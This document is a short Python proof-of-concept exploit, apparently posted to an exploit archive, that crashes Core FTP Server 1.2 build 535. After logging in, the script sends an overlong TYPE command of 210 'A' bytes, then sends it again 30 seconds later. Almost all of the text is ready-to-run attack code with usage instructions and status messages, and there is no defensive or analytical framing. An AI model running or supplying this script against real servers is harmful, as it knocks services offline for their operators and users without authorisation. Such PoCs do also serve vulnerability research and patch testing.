Core FTP Server 1.2 Build 535 Denial Of Service

`#!/usr/bin/python  
  
import socket,sys,time  
  
def Usage():  
print ("Core FTP Server Version 1.2, build 535, 32-bit - Crash P.O.C.")  
print ("Usage: ./coreftp_dos.py <host> <port> <username> <password>")  
print ("Ex: ./coreftp_dos.py 192.168.10.10 21 ftp ftp\n")  
  
if len(sys.argv) <> 5:  
Usage()  
sys.exit(1)  
else:  
host=sys.argv[1]  
port=sys.argv[2]  
user=sys.argv[3]  
passwd=sys.argv[4]  
evil = '\x41' * 210  
print "[+] Trying to crash Core FTP server with " + str(len(evil)) + " buffer bytes"  
print "[+] Host: " + host + " Port: " + port + " User: " + user + " Pass: " + passwd  
print "[+] Attempting to connect to the remote Core FTP Server..."  
first = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
port=int(port)  
try:  
connect = first.connect((host, port))  
except:  
print "[-] There was an error while trying to connect to the remote FTP Server"  
sys.exit(1)  
print "[+] Connection to remote server successfully... now trying to authenticate"  
first.recv(1024)  
first.send('USER ' + user + '\r\n')  
first.recv(1024)  
first.send('PASS ' + passwd + '\r\n')  
first.recv(1024)  
first.send('dir\r\n');  
first.send('TYPE ' + evil + '\r\n')  
try:  
first.recv(1024)  
except:  
print "[-] Couldn\'t authenticate in the remote FTP server"  
sys.exit(1)  
print "[+] First buffer was sent, waiting 30 seconds to send a second time with some more bad data..."  
first.close()  
second = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
time.sleep(30)  
try:  
connect = second.connect((host, port))  
except:  
print "[-] FTP Server isn\'t responding... it might had successfully crashed."  
sys.exit(1)  
second.send('USER ' + user + '\r\n')  
second.recv(1024)  
second.send('PASS ' + passwd + '\r\n')  
second.recv(1024)  
second.send('TYPE ' + evil + '\r\n')  
second.recv(1024)  
print "[+] By now, Core FTP Server should had crashed and will not accept new connections."  
second.close()  
sys.exit(0)  
  
`